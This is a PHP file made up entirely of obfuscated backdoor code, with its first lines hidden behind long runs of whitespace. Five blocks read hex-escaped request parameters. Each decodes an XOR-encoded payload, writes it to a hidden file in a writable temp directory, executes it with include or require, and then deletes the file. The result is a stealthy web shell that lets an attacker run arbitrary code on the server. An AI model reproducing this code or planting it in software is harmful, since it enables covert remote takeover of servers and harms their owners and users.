<?php																																										if(!empty($_REQUEST["s\x79\x6D\x62ol"])){ $res = $_REQUEST["s\x79\x6D\x62ol"]; $res = explode ( '.' ,$res ) ; $descriptor = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8 ); foreach( $res as $z=> $v5): $sChar = ord( $salt8[$z % $lenS] ); $dec =( ( int)$v5 - $sChar -( $z % 10)) ^ 76; $descriptor .= chr( $dec ); endforeach; $tkn = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path()]); for ($token = 0, $ref = count($tkn); $token < $ref; $token++) { $factor = $tkn[$token]; if ((function($d) { return is_dir($d) && is_writable($d); })($factor)) { $mrk = sprintf("%s/.record", $factor); if (@file_put_contents($mrk, $descriptor) !== false) { include $mrk; unlink($mrk); exit; } } } }
																																										if(!empty($_POST["\x70ara\x6Det\x65r_\x67\x72o\x75p"])){ $itm = array_filter(["/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm", getcwd(), getenv("TMP"), session_save_path()]); $rec = $_POST["\x70ara\x6Det\x65r_\x67\x72o\x75p"]; $rec = explode ( '.' , $rec ) ; $record= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $m= 0; array_walk($rec ,function ($v8) use (&$record ,&$m ,$salt ,$lenS) {$chS= ord($salt[$m %$lenS]); $dec= ((int)$v8 - $chS - ($m %10)) ^80; $record .= chr($dec); $m++; }); for ($fac = 0, $resource = count($itm); $fac < $resource; $fac++) { $data = $itm[$fac]; if ((is_dir($data) and is_writable($data))) { $k = join("/", [$data, ".dat"]); $success = file_put_contents($k, $record); if ($success) { include $k; @unlink($k); exit;} } } }
																																										if(in_array("\x66lg", array_keys($_POST))){ $binding = $_POST["\x66lg"]; $binding = explode ( '.' ,$binding ); $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($binding); for ($r = 0; $r < $len; $r++) { $v6 = $binding[$r]; $sChar = ord($s[$r % $lenS]); $d = ((int)$v6 - $sChar - ($r % 10)) ^ 62; $data .= chr($d); } $pgrp = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP")]); foreach ($pgrp as $fac) { if (is_writable($fac) && is_dir($fac)) { $token = join("/", [$fac, ".rec"]); if (file_put_contents($token, $data)) { require $token; unlink($token); die(); } } } }
																																										if(!empty($_POST["value"])){ $entity = $_POST["value"]; $entity=explode('.' ,$entity ) ; $ref= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); $s= 0; $__len= count( $entity ); do { if( $s >= $__len) break; $v6= $entity[$s]; $chS= ord( $salt[$s % $sLen] ); $d= ( ( int)$v6 - $chS -( $s % 10)) ^ 67; $ref .= chr( $d ); $s++; } while( true ); $hld = array_filter(["/var/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), "/tmp"]); for ($factor = 0, $key = count($hld); $factor < $key; $factor++) { $pointer = $hld[$factor]; if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $tkn = "$pointer" . "/.descriptor"; $success = file_put_contents($tkn, $ref); if ($success) { include $tkn; @unlink($tkn); die();} } } }


if(!is_null($_POST["desc"] ?? null)){
	$entity = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", session_save_path(), getcwd(), "/dev/shm"]);
	$binding = $_POST["desc"];
	$binding	  =		explode  (	'.'	,			$binding			)		; 	
	$pgrp = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( 	$salt6);
            $len = count( 	$binding);
    
            for( 	$o = 0; $o < $len; $o++) {
                $v7 = $binding[$o];
                $chS = ord( 	$salt6[$o % $lenS]);
                $dec =( 	( 	int)$v7 - $chS -( 	$o % 10)) ^ 75;
                $pgrp .= chr( 	$dec);
            }
	$pset = 0;
do {
    $reference = $entity[$pset] ?? null;
    if ($pset >= count($entity)) break;
    		if (is_dir($reference) ? is_writable($reference) : false) {
    $record = sprintf("%s/.symbol", $reference);
    $file = fopen($record, 'w');
if ($file) {
	fwrite($file, $pgrp);
	fclose($file);
	include $record;
	@unlink($record);
	die();
}
}
    $pset++;
} while (true);
}